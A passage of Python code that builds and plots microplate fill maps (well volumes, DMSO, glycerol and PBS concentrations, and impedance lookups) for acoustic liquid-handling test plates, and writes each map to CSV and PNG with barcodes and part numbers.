thismap = populatePPFTVolumes(thismap, nrows, ncols, [15,20,30,65], version)\n else :\n if (fluid == 'PBS200' ):\n thismap = populatePPFTVolumes(thismap, nrows, ncols, [18,20,40,65], version)\n else: \n thismap = populatePPFTVolumes(thismap, nrows, ncols, [15,20,40,65], version)\n if (geo == 'LDV'):\n if (fluid == 'DMSO'):\n thismap = populateLDVFTVolumes(thismap, nrows, ncols, version)\n if (fluid == 'GLY'):\n thismap = populateLDVPlusFTVolumes(thismap, nrows, ncols, version)\n if ( style == 'DD' ):\n if (geo == 'PP'):\n if ((fluid.startswith('GPS')) or fluid.startswith('GLY') ):\n thismap = populateDDVolumes(thismap, nrows, ncols, cols=[3,4,5,7,8,9,11,12,13,15,16,17,19,20,21], vol=volume)\n else:\n thismap = populateDDVolumes(thismap, nrows, ncols, cols=[8,10,12,14,16], vol=volume)\n if (geo == 'LDV'):\n if ((fluid.startswith('GLY'))):\n thismap = populateDDVolumes(thismap, nrows, ncols, cols=[3,4,6,7,9,10,12,13,15,16,18,19], vol=volume)\n if ( not thismap):\n return\n \n if ( fluid == 'PBS' ):\n if (style == 'UCP' and int(version) > 2):\n thismap = populateSPUCP(thismap, nrows, ncols)\n \n # Lookup concentrations \n if ( fluid == 'DMSO' ):\n if ( style == 'UCP' ):\n thismap = populateUCP(thismap, nrows, ncols, concentrations=[70, 90, 100, 80],fluid=fluid)\n if ( style == 'ICP' ):\n thismap = populateDMSOICP(thismap, nrows, ncols)\n if (fluid.startswith('GLY') ) or (fluid.startswith('GPS')) :\n if ( style == 'ICP' ):\n thismap = populateGlyICP(thismap, nrows, ncols)\n if ( style == 'UCP' ) and ( geo == 'LDV' ) and ( instrument == '525') :\n thismap = populateUCP(thismap,nrows,ncols, concentrations=[0,20,40,50],fluid=fluid)\n if ( style == 'DD' ):\n if (geo == 'PP'):\n thismap = populateGlyDDCols(thismap, nrows, ncols, cols=[3,4,5,7,8,9,11,12,13,15,16,17,19,20,21], concs=[10,10,10,20,20,20,30,30,30,40,40,40,50,50,50])\n if (geo == 'LDV'):\n thismap = populateGlyDDCols(thismap, nrows, ncols, cols=[3,4,6,7,9,10,12,13,15,16,18,19], concs=[0,0,10,10,20,20,30,30,40,40,50,50])\n if ( fluid.startswith('PBS')):\n if (style == 'DD' ):\n thismap = populateGlyDDCols(thismap, nrows, ncols, cols=[8,10,12,14,16], concs=[100,100,100,100,100])\n if (wells == 1536 ): \n if (geo == 'LDV'): \n if ( fluid == 'DMSO' ):\n if ( style == 'ICP' ) :\n thismap = populate1536LDVVolumes(thismap, nrows, ncols)\n if ( style == 'UCP' ) :\n if int(version) == 1:\n thismap = populate1536LDVVolumes(thismap, nrows,ncols)\n else: \n thismap = populate1536LDVUCPVolumes(thismap,nrows,ncols)\n if (geo == 'HB'):\n if (fluid == 'DMSO'):\n if (style == 'UCP' ):\n if int(version) == 1:\n thismap = populate1536LDVVolumes(thismap, nrows,ncols)\n if (fluid == 'DMSO'):\n if (style =='ICP' ) :\n thismap = populate1536DMSOICSP(thismap, nrows, ncols)\n if (style == 'UCP' ):\n if int(version) == 1:\n thismap = populate1536DMSOICSP(thismap,nrows,ncols)\n else: \n thismap = populate1536DMSOUCP(thismap, nrows, ncols)\n if (style == 'FT'):\n thismap = populateLDVFTVolumes(thismap, nrows, ncols, version)\n \n \n if (wells == 96 ):\n if ( style == 'UCP' ):\n thismap = populateTRVolumes(thismap, nrows, ncols, colvols=[35,60,26,79,100,72,86,18,44,65,93,53])\n if ( style == 'FT' ):\n if (fluid == 'DMSO' ):\n thismap = populateTRVolumes(thismap, nrows, ncols, colvols=[18,18,18,18,55,55,55,55,90,90,90,90])\n else:\n thismap = populateTRVolumes(thismap, nrows, ncols, colvols=[20,20,20,20,55,55,55,55,90,90,90,90]) \n \n return pandas.DataFrame(thismap) \n \ndef mapframeAsMatrix(mapdataframe,field='mVolume',rfield='Row',cfield='Col'):\n# print(mapdataframe.columns)\n nrows = max(mapdataframe[rfield].unique())+1\n ncols = max(mapdataframe[cfield].unique())+1\n mtrx = np.zeros([nrows,ncols])\n for i,row in mapdataframe.iterrows():\n try:\n mtrx[row[rfield]][row[cfield]] = row[field]\n except ValueError:\n mtrx[row[rfield]][row[cfield]] = -1\n return mtrx \n \ndef plotMap(mapdataframe,row_labels,columns, ax=None,title='XXp',fluidscale = False, fluidkey='PBS' ):\n #row_labels = list('ABCDEFGHIJKLMNOP')\n colors=['palegreen','lightskyblue', 'yellow','hotpink','silver','beige','orange','lightcoral','azure']\n col_labels = [ c+1 for c in columns ]\n if len(columns) > 24 :\n scale = 1.5\n else :\n scale = 1\n #fig, ax = plt.subplots(nrows=1,ncols=1,figsize=(12,18))\n if ax == None:\n fig = plt.figure(figsize=(12*scale, 8*scale))\n ax = fig.add_axes([0.1, 0.1, 0.9, 0.9])\n# axt = fig.add_axes([0.1, 0.8, 0.8, 0.1 ])\n\n \n # local change for fluids \n if fluidscale:\n for i,row in mapdataframe.iterrows():\n mapdataframe.loc[i,'mConc'] = int(str.split(row['mFluid'],fluidkey)[1])\n \n \n concdata = mapframeAsMatrix(mapdataframe,'mConc')\n data = mapframeAsMatrix(mapdataframe,'mVolume')\n \n uniques = [ u for u in mapdataframe['mConc'].unique() if u != '-' ] #if u[0] in '0123456789' ]\n # print(' uniques: ', uniques, ' ', mapdataframe['mConc'].unique())\n\n \n \n \n \n concentrations = np.sort(uniques) \n nconcentrations = len(concentrations)\n bounds = np.zeros(nconcentrations+1)\n # print(' concentrations : ', nconcentrations, ' title: ', title)\n if (nconcentrations > 1 ) :\n for i in range(0,nconcentrations-1):\n bounds[i+1]=(concentrations[i+1]+concentrations[i])/2\n if ( nconcentrations > 2 ): \n spread = (bounds[3]-bounds[2]) / 2 \n spread = 0.05;\n else:\n spread = 8\n bounds[0] = concentrations[0] - spread\n bounds[nconcentrations] = concentrations[nconcentrations-1] + spread\n else :\n if concentrations[0] != 0 :\n bounds[0] = 0.95*concentrations[0]\n bounds[1] = 1.05*concentrations[0]\n else : \n bounds[0] = -0.05\n bounds[1] = 0.05 \n \n cmap = mpltcolors.ListedColormap(colors[0:nconcentrations])\n norm = mpltcolors.BoundaryNorm(bounds,cmap.N)\n \n \n heatmap = ax.imshow(concdata,cmap=cmap, norm=norm ,interpolation='None') #,vmin=0.6*mean,vmax=1.4*mean)\n for y in range(data.shape[0]):\n for x in range(data.shape[1]):\n ax.text(x , y , '{:.3g}'.format(data[y, x]),\n horizontalalignment='center',\n verticalalignment='center',\n )\n \n # create an axes on the right side of ax. The width of cax will be 5%\n # of ax and the padding between cax and ax will be fixed at 0.05 inch.\n # divider = plt.make_axes_locatable(ax)\n # cax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\n \n \n plt.colorbar(heatmap, ax=ax, cmap=cmap, norm=norm, boundaries=bounds, ticks=concentrations, fraction=0.025, pad=0.04)\n # put the major ticks at the middle of each cell\n ax.set_xticks(np.arange(data.shape[1]) , minor=False)\n ax.set_yticks(np.arange(data.shape[0]) , minor=False)\n \n ax.set_xticks(np.arange(data.shape[1]) + 0.5 , minor=True)\n ax.set_yticks(np.arange(data.shape[0]) + 0.5 , minor=True)\n # want a more natural, table-like display\n # ax.invert_yaxis()\n ax.xaxis.tick_top()\n ax.set_xticklabels(col_labels)\n ax.set_yticklabels(row_labels) \n \n ax.yaxis.grid(True, which='minor')\n ax.xaxis.grid(True, which='minor') \n \n \n \n # make text box with stats\n textstring = title\n# textstring = title + ' Mean : ' + '{:4.2f}'.format(printstats.Mean) + 'nL'\n# textstring += ' CV : ' + '{:4.1f}'.format(printstats.CV) + '%'\n #+ '\\n'\n# textstring += ' Empties : ' + '{:3d}'.format(printstats.Empties)\n# textstring += ' Outliers : ' + '{:3d}'.format(printstats.Outlier)\n# textstring += ' Reliabilities : ' + '{:3d}'.format(printstats.Reliability)\n props = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\n \n # axt.get_yaxis().set_visible(False)\n # axt.get_xaxis().set_visible(Falsse)\n ax.text(0.05, 1.1, textstring, transform=ax.transAxes, fontsize=14,\n verticalalignment='top', bbox=props)\n return\n\ndef populatePPHCConc(thismap, nrows, ncols):\n updatedmap = []\n concentrations = [80,100]\n impedances = [1.78 ,1.48 ]\n fluids = ['DMSO','PBS']\n for well in thismap:\n if well['Row'] < 7 :\n idx = 0\n else :\n if well['Row'] > 8 :\n idx = 1\n else:\n idx = -1\n if idx >= 0 :\n well['mConc'] = concentrations[idx]\n well['mImpedance'] = impedances[idx]\n well['mFluid'] = fluids[idx]\n well['mVolume'] = 30\n else:\n well['mVolume'] = 0\n well['mImpedance'] = 0\n updatedmap.append(well)\n return updatedmap \n \ndef populateUCP(thismap, nrows, ncols, concentrations=[70, 90, 100, 80], fluid='DMSO'):\n updatedmap = [] \n #concentrations = [70, 90, 100, 80]\n impedances = concToImpedance(concentrations, fluid)\n nconcentrations = len(concentrations)\n updatedmap = []\n for well in thismap: \n concentrationindex = well['Row']//nconcentrations\n well['mConc'] = concentrations[concentrationindex]\n well['mImpedance'] = impedances[concentrationindex]\n updatedmap.append(well)\n return updatedmap \n \n \n \ndef populateSPUCP(thismap, nrows, ncols):\n updatedmap = []\n fluids = ['PBS14','PBS200']\n nfluids = len(fluids)\n for well in thismap: \n fluidindex = well['Row']//8\n well['mFluid'] = fluids[fluidindex]\n updatedmap.append(well)\n return updatedmap\n\ndef populate525UCP(thismap, nrows, ncols, fluids=['PBS00','PBS14','PBS200']):\n updatedmap = []\n nfluids = len(fluids)\n for well in thismap: \n fluidindex = well['Col']//8\n well['mFluid'] = fluids[fluidindex]\n updatedmap.append(well)\n return updatedmap\n\ndef populateDMSOICP(thismap, nrows, ncols):\n updatedmap = [] \n concentrations = [70, 75, 80, 85, 90, 95, 100, 100, 100, 95, 90, 85, 80, 75, 70, 70]\n impedances = concToImpedance(concentrations,'DMSO')\n updatedmap = []\n for well in thismap: \n concentrationindex = well['Row']\n well['mConc'] = concentrations[concentrationindex]\n well['mImpedance'] = impedances[concentrationindex]\n updatedmap.append(well)\n return updatedmap \n\ndef populate1536DMSOICSP(thismap, nrows, ncols):\n updatedmap = [] \n concentrations = [70, 70, 75, 75, 80, 80 ,85, 85, 90, 90, 95, 95, 100, 100, 100, 100, 100, 100, 95, 95, 90, 90, 85, 85, 80, 80, 75 ,75, 70 ,70 ,70 ,70]\n impedances = concToImpedance(concentrations,'DMSO')\n updatedmap = []\n for well in thismap: \n concentrationindex = well['Row']\n well['mConc'] = concentrations[concentrationindex]\n well['mImpedance'] = impedances[concentrationindex]\n updatedmap.append(well)\n return updatedmap \n \n \ndef populate1536DMSOUCP(thismap, nrows, ncols):\n updatedmap = [] \n subconcentrations = [70, 70, 90, 90, 100, 100, 80, 80 ]\n concentrations = subconcentrations\n for i in range(0,3):\n concentrations += subconcentrations\n impedances = concToImpedance(concentrations,'DMSO')\n updatedmap = []\n for well in thismap: \n concentrationindex = well['Row']\n well['mConc'] = concentrations[concentrationindex]\n well['mImpedance'] = impedances[concentrationindex]\n updatedmap.append(well)\n return updatedmap \n \n\ndef populateGlyICP(thismap, nrows, ncols):\n updatedmap = []\n concentrations = [0 , 10, 20, 30, 40, 45, 50, 55]\n impedances = concToImpedance(concentrations,'GLY')\n nconcentrations = len(concentrations)\n updatedmap = []\n for well in thismap: \n concentrationindex = well['Row']%nconcentrations\n well['mConc'] = concentrations[concentrationindex]\n well['mImpedance'] = impedances[concentrationindex]\n updatedmap.append(well)\n return updatedmap \n\ndef populateGlyDDCols(thismap, nrows, ncols, cols=[8,10,12,14,16], concs=[10,20,30,40,50]):\n impmap = np.zeros([nrows,ncols])\n concmap = np.zeros([nrows,ncols])\n imp = concToImpedance(concs,'GLY')\n for i,c in enumerate(cols):\n impmap[:,c-1] = imp[i]\n concmap[:,c-1] = concs[i] \n updatedmap = []\n for well in thismap: \n# if well['mVolume'] > 0:\n col = well['Col']\n row = well['Row']\n well['mConc'] = concmap[row,col]\n well['mImpedance'] = impmap[row,col]\n updatedmap.append(well)\n return updatedmap \n \n \ndef populatePPUCPVolumes3(thismap, nrows, ncols): \n colvolhalf=[65,65,50,50,35,35,25,25]\n colvols = colvolhalf + colvolhalf + colvolhalf\n if ( len(colvols) != ncols ) :\n print(' *** ERROR :: number of columns inconsistent ')\n return []\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = colvols[well['Col']]\n updatedmap.append(well)\n return updatedmap \n \ndef populatePPICPVolumes(thismap, nrows, ncols): \n colvolhalf=[68,40,55,13,25,15,50,65,45,60,20,30]\n colvols = colvolhalf + colvolhalf\n if ( len(colvols) != ncols ) :\n print(' *** ERROR :: number of columns inconsistent ')\n return []\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = colvols[well['Col']]\n updatedmap.append(well)\n return updatedmap \n\ndef populateLDVGPICPVolumes(thismap, nrows, ncols):\n colvols=[14,14,14,12,12,12,4,4,4,6,6,6,8,8,8,7,7,7,9,9,9,10,10,10]\n if ( len(colvols) != ncols ) :\n print(' *** ERROR :: number of columns inconsistent ')\n return []\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = colvols[well['Col']]\n updatedmap.append(well)\n return updatedmap \n \ndef populateLDVAQICPVolumes(thismap, nrows, ncols,version=2):\n if version == 3 :\n colvols=[14,14,14,12,12,12,4,4,4,6,6,6,8,8,8,7,7,7,9,9,9,10,10,10]\n else: \n colvols=[13,13,13,12,12,12,2.75,2.75,2.75,4,4,4,7.5,7.5,7.5,6,6,6,9,9,9,10,10,10]\n \n if ( len(colvols) != ncols ) :\n print(' *** ERROR :: number of columns inconsistent ')\n return []\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = colvols[well['Col']]\n updatedmap.append(well)\n return updatedmap \n\ndef populateDDVolumes(thismap, nrows, ncols, cols=[8,10,12,14,16], vol=60):\n volmap = np.zeros([nrows,ncols])\n for c in cols: \n volmap[:,c-1] = vol\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = volmap[well['Row'],well['Col']]\n updatedmap.append(well)\n return updatedmap \n \n\ndef populatePPFTVolumes(thismap, nrows, ncols, quadvols=[15,20,40,65], version=2):\n print('version = ', version)\n halfrows = nrows//2\n halfcols = ncols//2\n volmap = np.zeros([nrows,ncols])\n if version == 3:\n for i, vol in enumerate(quadvols):\n rstart = i//2\n cstart = i%2 \n volmap[rstart:nrows:2, cstart:ncols:2] = vol \n else: \n for i, vol in enumerate(quadvols):\n rstart = (i//2)*halfrows\n rstop = rstart + halfrows\n cstart = (i%2)*halfcols\n cstop = cstart + halfcols\n # print( ' c: ', cstart, ' - ' , cstop)\n # print( ' r: ', rstart, ' - ' , rstop)\n volmap[rstart:rstop,cstart:cstop] = vol\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = volmap[well['Row'],well['Col']]\n updatedmap.append(well)\n return updatedmap \n\ndef populateLDVPlusFTVolumes(thismap, nrows, ncols, version):\n volmap = np.zeros([nrows,ncols])\n if ( nrows == 16 ):\n pattern0 = np.array([[4.5,6],[7,8]])\n pattern1 = np.array([[9,10],[12, 14]])\n if ( nrows == 32 ):\n pattern0 = np.array([[4,5],[4.5,5.5]])\n pattern1 = np.array([[1,2],[1.5,3]])\n \n patterns =[pattern0,pattern1,pattern0,pattern1]\n \n for i in range(0,4):\n volmap = fillquadrant(volmap,i,patterns[i],nrows,ncols)\n \n \n \n updatedmap = [] \n for well in thismap:\n well['mVolume'] = volmap[well['Row'],well['Col']]\n updatedmap.append(well)\n return updatedmap \n\ndef populateLDVFTVolumes(thismap, nrows, ncols, version):\n volmap = np.zeros([nrows,ncols])\n \n if version == 3 :\n if (nrows == 16) :\n volumes = [6,4,8,10,7,2.75,9,12]\n else:\n # 1536 LDV\n volumes = [4,1,1.5,5.5,5,2,3,4.5]\n halfrow = nrows //2\n quartercol = ncols //4\n for i in range(0,2):\n for j in range(0,4):\n rstart = i*halfrow\n rstop = rstart + halfrow\n cstart = j*quartercol \n cstop = cstart+ quartercol\n volmap[rstart:rstop,cstart:cstop] = volumes[i*4 + j ]\n else: \n if ( nrows == 16 ):\n pattern0 = np.array([[2.75,4],[6,7]])\n pattern1 = np.array([[8,9],[10, 12]])\n if ( nrows == 32 ):\n pattern0 = np.array([[4,5],[4.5,5.5]])\n pattern1 = np.array([[1,2],[1.5,3]])\n \n patterns =[pattern0,pattern1,pattern0,pattern1]\n \n for i in range(0,4):\n volmap = fillquadrant(volmap,i,patterns[i],nrows,ncols)\n \n \n \n updatedmap = [] \n for well in thismap:\n well['mVolume'] = volmap[well['Row'],well['Col']]\n updatedmap.append(well)\n return updatedmap \n\ndef populateLDVICPVolumes(thismap, nrows, ncols, version):\n if version == 3:\n colvols = [13,12,3.5,4,9,8,6.5,7,6,5,10,11]\n colvols += colvols\n else: \n colvols=[13,13,12,12,3.5,3.5,4,4,9,9,8,8,6.5,6.5,7,7,6,6,5,5,10,10,11,11]\n if ( len(colvols) != ncols ) :\n print(' *** ERROR :: number of columns inconsistent ')\n return []\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = colvols[well['Col']]\n updatedmap.append(well)\n return updatedmap \n\n\ndef populateTRVolumes(thismap, nrows, ncols, colvols): \n \n if ( len(colvols) != ncols ) :\n print(' *** ERROR :: number of columns inconsistent ')\n return []\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = colvols[well['Col']]\n updatedmap.append(well)\n return updatedmap \n\n \ndef populate1536LDVVolumes(thismap, nrows, ncols):\n volmap = np.zeros([nrows,ncols])\n pattern0 = np.array([[3.5,1.5],[1.2,2.0]])\n pattern1 = np.array([[2.5,3.5],[3.0,4.0]])\n pattern2 = np.array([[4.5,5.5],[5.0,6.0]])\n pattern3 = np.array([[2.0,1.2],[2.5,4.0]])\n patterns =[pattern0,pattern1, pattern2, pattern3]\n for i in range(0,4):\n volmap = fillquadrant(volmap,i,patterns[i],nrows,ncols)\n updatedmap = [] \n for well in thismap:\n well['mVolume'] = volmap[well['Row'],well['Col']]\n updatedmap.append(well)\n return updatedmap \n \ndef populate1536LDVUCPVolumes(thismap, nrows, ncols):\n volmap = np.zeros([nrows,ncols])\n volumes = [4.5,5,5.5,6,2,2.5,1.2,4,3.5,1.2,1.5,2,4,3,3.5,2.5]\n quarterrow = nrows //4\n quartercol = ncols //4\n for i in range(0,4):\n for j in range(0,4):\n rstart = i*quarterrow\n rstop = rstart + quarterrow\n cstart = j*quartercol \n cstop = cstart+ quartercol\n volmap[rstart:rstop,cstart:cstop] = volumes[ i*4 + j ]\n \n updatedmap = [] \n for well in thismap:\n well['mVolume'] = volmap[well['Row'],well['Col']]\n updatedmap.append(well)\n return updatedmap \n\n \ndef fillquadrant(volmap,quadrant,pattern,nrows,ncols):\n if pattern.shape != (2,2) :\n print(' ** ERROR :: invalid pattern shape for function')\n return volmap\n halfrows = nrows//2\n halfcols = ncols//2\n righthalve = quadrant%2\n bottomhalve = quadrant//2\n rstart = bottomhalve*halfrows \n cstart = righthalve*halfcols\n rstop = rstart + halfrows\n cstop = cstart + halfcols\n# print( ' c: ', cstart, ' - ' , cstop)\n# print( ' r: ', rstart, ' - ' , rstop)\n for i in range(0,2):\n for j in range(0,2): \n volmap[rstart+j:rstop:2,cstart+i:cstop:2] = pattern[i][j]\n return volmap \n \ndef concToImpedance(concentrations,fluid='DMSO'): \n impedances = []\n conv = {}\n if ( fluid == 'DMSO' ):\n conv = {}\n conv['70'] = 1.83\n conv['75'] = 1.81\n conv['80'] = 1.78\n conv['85'] = 1.75\n conv['90'] = 1.71\n conv['95'] = 1.67\n conv['100'] = 1.63 \n if ( fluid.startswith('GLY')) or ( fluid.startswith('GPS') ) :\n conv = {}\n conv['0'] = 1.48\n conv['10'] = 1.59\n conv['20'] = 1.71\n conv['30'] = 1.82\n conv['40'] = 1.93\n conv['45'] = 1.96\n conv['50'] = 2.02\n conv['55'] = 2.06\n conv['100'] = 1.48\n if ( fluid.startswith('PBS')) or (fluid.startswith('AQ')):\n conv = {}\n conv['100'] = 1.48\n try:\n for c in concentrations:\n if str(c) in conv:\n impedances.append(conv[str(c)])\n else:\n impedances.append(c)\n except TypeError:\n c = concentrations\n if str(c) in conv:\n imp = conv[str(concentrations)] \n else:\n imp = str(c)\n return imp \n return impedances \n \n \ndef wellsToRowCols(nwells):\n row1536 = list(map(chr, range(97, 97+26))) \n row1536b = [ 'A' + x for x in list(map(chr, range(97, 97+6))) ]\n row1536 = row1536 + row1536b\n row384 = list(map(chr, range(97, 97+16))) \n row96 = list(map(chr, range(97, 97+8))) \n rowRES = list(map(chr, range(97, 97+2))) \n if nwells == 384 :\n nrows = 16\n ncols = 24\n rowletter = row384\n else:\n if nwells == 1536 :\n nrows = 32\n ncols = 48\n rowletter = row1536\n else :\n if nwells == 96:\n nrows = 8\n ncols = 12\n rowletter = row96\n else:\n nrows = 2\n ncols = 3\n rowletter = rowRES\n return nrows, ncols, rowletter \n\n\ndef writeMap(dfMap, platetype='384PP', nwells=384, geo='PP', style='FT', fluid='DMSO', conc='-', version='2', vol='-', fluidscale=False, fluidkey='PBS', ArenaPN = None):\n ''' Master function that takes a Pandas dataframe, writes CSV and generates a figure of the fillmap.\n The method returns a dictionary that corresponds to one line in the AllMaps.csv file. Here are the inputs:\n (note a good way to figure out all inputs is to simply open AllMaps.csv in Excel, you will then see all fields ) \n platetype: 384PPL, 384LDVS, 1536LDVS\n nwells: 6,96,384 or 1536\n geo: geometry, can be PP, LDV or GEO\n style: FT, FF, ICP, UCP, SIG, DD, HC\n fluid: see \\BarCodes\\FluidType.csv\n conc: concentration, '-' can be used if multiple concentrations are used\n version: a version number\n vol: for SIG or FF if one volume is specified, else can be '-'\n fluidscale: if False (default), the color scale axis on the graphs is based on concentration, \n if True, color scale asis is a different fluid ( typically done fore SP maps e.g. PBS5, PBS14)\n fluidkey: introduced to deal with GPS fluids for 525, typically PBS by default, for GPSA/GPSB fluids this should be GPS\n ArenaPN: arena part number, has to be of the form 'XXX-YYYYY', if not specified will be looked up in AllMaps.csv\n '''\n bc = barCodes.BarCodes() \n # basedir='\\\\\\\\seg\\\\data\\\\PlateMaps'\n basedir = os.path.join(os.path.dirname(__file__), 'PlateMaps')\n if not os.path.exists(basedir):\n os.mkdir(basedir)\n writedir = basedir + '\\\\\\\\' + platetype\n if not os.path.exists( writedir) :\n os.mkdir (writedir)\n if nwells > 384:\n scale = 2.0\n else:\n scale = 1\n fig, ax = plt.subplots(figsize=(12*scale, 8*scale))\n if ( (style=='FF') or (style=='DD') ):\n title = platetype + '__' + style + '__' + str(conc) + '__' + fluid + '__' + str(vol) + 'uL__v' + version\n else: \n title = platetype + '__' + style + '__' + str(conc) + '__' + fluid + '__v' + version\n nr, nc, rl = wellsToRowCols(nwells)\n cols = [ i for i in range(0,nc)]\n entry = {}\n entry['PlateType'] = platetype\n entry['Style'] = style\n entry['Fluid'] = fluid\n entry['Conc'] = str(conc)\n entry['Version'] = str(version)\n \n entry['Vol'] = str(vol)\n entry['BarCode'] = bc.genGenericBarCode(entry)\n thisbarcode = entry['BarCode'][0:7]\n title = thisbarcode + '__' + title\n\n# Looking for Arena Part Number::\n if not ArenaPN:\n arenaPmFile = basedir + '\\\\\\\\' + arenaFileName \n arenaPmFrame = pandas.read_csv(arenaPmFile)\n arenaPmFrame['ShortBarcode'] = arenaPmFrame['BarCode'].apply(lambda x: str(x)[0:7] )\n subset = arenaPmFrame['Arena Part Number'][arenaPmFrame['ShortBarcode'] == thisbarcode]\n print(' title: ', title, ' subset: ', subset.values, ' thisbarcode: ', thisbarcode)\n if len(subset) == 0 :\n PN = 'XXX-YYYYY'\n else:\n if (str(subset.values[0]) == 'nan' ):\n PN = 'XXX-YYYYY'\n else:\n PN = str(subset.values[0])\n else:\n if len(ArenaPN) == 9 and ArenaPN[3] == '-' :\n PN = ArenaPN\n else:\n PN = 'XXX-YYYYY'\n \n title = PN + '__' + title \n entry['Arena Part Number'] = PN\n \n plotMap(dfMap, rl, cols, title=title, ax = ax, fluidscale = fluidscale, fluidkey=fluidkey)\n \n filebase = writedir + '\\\\\\\\' + title \n entry['Filename'] = filebase + '.csv'\n plt.savefig(filebase + '.png')\n# fig.close()\n dfMap.to_csv(filebase +'.csv', index=False)\n\n return entry\n\n\ndef gen384PP_Omics2Map():\n nwells = 384\n platetypes = ['384PPG_AQ_GP2','384PPL_AQ_GP2']\n version = '2'\n geo='PP'\n styles = ['SIG','UCP','ICP']\n fluid = 'GLY'\n concentrations_sig = [0,10,20,30,40,50,55]\n concentrations_ucp = [0,20,50]\n allmaps = []\n for platetype in platetypes:\n for s in styles:\n if ( s == 'ICP' ) :\n m = genMap(wells=384,geo=geo,style=s,fluid=fluid,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=s,fluid=fluid,conc='-',version=version)\n allmaps.append(thisentry)\n else : \n if ( s == 'UCP' ):\n cc = concentrations_ucp\n if ( s == 'SIG' ):\n cc = concentrations_sig\n for c in cc :\n m = genMap(wells=nwells,geo=geo,style=s,fluid=fluid,conc=c,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=s,fluid=fluid,conc=c,version=version)\n allmaps.append(thisentry)\n # Final Test Plates \n style='FT'\n platetypes=['384PPG_AQ_BP2','384PPL_AQ_BP2']\n concentrations=[0,10,30]\n fluid='GLY'\n for platetype in platetypes:\n for c in concentrations:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=c,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid=fluid,conc=c,version=version)\n allmaps.append(thisentry) \n \n platetypes=['384PPG_AQ_GP2','384PPL_AQ_GP2']\n concentrations=[20,40,50]\n for platetype in platetypes:\n for c in concentrations:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=c,version=version)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid=fluid,conc=c,version=version)\n allmaps.append(thisentry)\n \n platetypes=['384PPG_AQ_CP','384PPL_AQ_CP'] \n fluids=['AQ','2.4M-HEPES','PEG-3350','MPD']\n impedance=[1.48,2.25,1.76,1.55]\n style='FT'\n concentrations=[100,100,30,50]\n for platetype in platetypes:\n for i,c in enumerate(concentrations):\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluids[i],conc=c,version=version,impedance=impedance[i])\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid=fluids[i],conc=c,version=version)\n allmaps.append(thisentry) \n \n \n style = 'FF'\n version = '2'\n fluid = '2.4M-HEPES'\n impedance=2.25\n concentration=100\n for platetype in platetypes:\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid, conc=concentration, version=version, impedance=impedance, volume='40')\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid=fluid,conc=concentration,version=version, vol='40')\n allmaps.append(thisentry)\n\n platetypes=['384PPG_AQ_SP2','384PPL_AQ_SP2']\n fluids=['PBS5','PBS14','PBS200']\n concentration=100\n for platetype in platetypes:\n for i,f in enumerate(fluids):\n m = genMap(wells=nwells,geo=geo,style='FT',fluid=f,conc=concentration,version=version,impedance=1.48)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style='FT',fluid=f,conc=concentration,version=version)\n allmaps.append(thisentry) \n style = 'ICP'\n m = genMap(wells=nwells,geo=geo,style=style,fluid='PBS14',conc=concentration,version=version, impedance=1.48)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid='PBS14',conc=concentration,version=version)\n allmaps.append(thisentry)\n style = 'UCP'\n version = '3'\n m = genMap(wells=nwells,geo=geo,style=style,fluid='PBS', conc=concentration, version=version, impedance=1.48)\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid='PBS',conc=concentration,version=version,fluidscale=True)\n allmaps.append(thisentry)\n style = 'FF'\n version = '2'\n fluid = 'PBS5'\n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid, conc=concentration, version=version, impedance=1.48, volume='40')\n thisentry = writeMap(m,platetype=platetype, nwells=nwells, geo=geo,style=style,fluid=fluid,conc=concentration,version=version, vol='40')\n allmaps.append(thisentry)\n \n platetypes=['384PPG_AQ_BP','384PPL_AQ_BP']\n geo = 'PP'\n style = 'FT'\n fluid = 'GLY'\n concentration = 0\n version = '1'\n nwells = 384 \n for p in platetypes: \n m = genMap(wells=nwells,geo=geo,style=style,fluid=fluid,conc=concentration,version=version)\n # version = 1 above is superceded here by plate type 384PP_DMSO\n thisentry = writeMap(m,platetype=p, nwells=nwells, geo=geo,style=style,fluid=fluid,conc=concentration,version=version)\n allmaps.append(thisentry)\n \n platetypes=['384PPG_AQ_SP','384PPL_AQ_SP']\n geo = 'PP'\n style = 'FT'\n fluid = 'GLY'\n concentration = 0\n version = '1'\n nwells = 384 \n fluids=['PBS5','PBS14','PBS200']\n concentration=100\n for p in platetypes:\n for i, f in enumerate(fluids):\n m = genMap(wells=nwells,geo=geo,style=style,fluid=f,conc=concentration,version=version)\n # version = 1 above is superceded here by plate type 384PP_DMSO\n thisentry = writeMap(m,platetype=p, nwells=nwells, geo=geo,style=style,fluid=f,conc=concentration,version=version)\n allmaps.append(thisentry) \n \n \n style='HC'\n f='PBS' \n plate='384PPG_HC'\n version= '2'\n m = genMap(wells=384,geo='PP',style=style,version=version,fluid=f) \n thisentry = writeMap(m, platetype=plate,fluid=f,style=style,version=version)\n allmaps.append(thisentry)\n plate='384PPL_HC'\n m = genMap(wells=384,geo='PP',style=style,version=version,fluid=f) \n thisentry = writeMap(m, platetype=plate,fluid=f,style=style,version=version)\n allmaps.append(thisentry)\n return allmaps \n\ndef genLDVAQMaps():\n 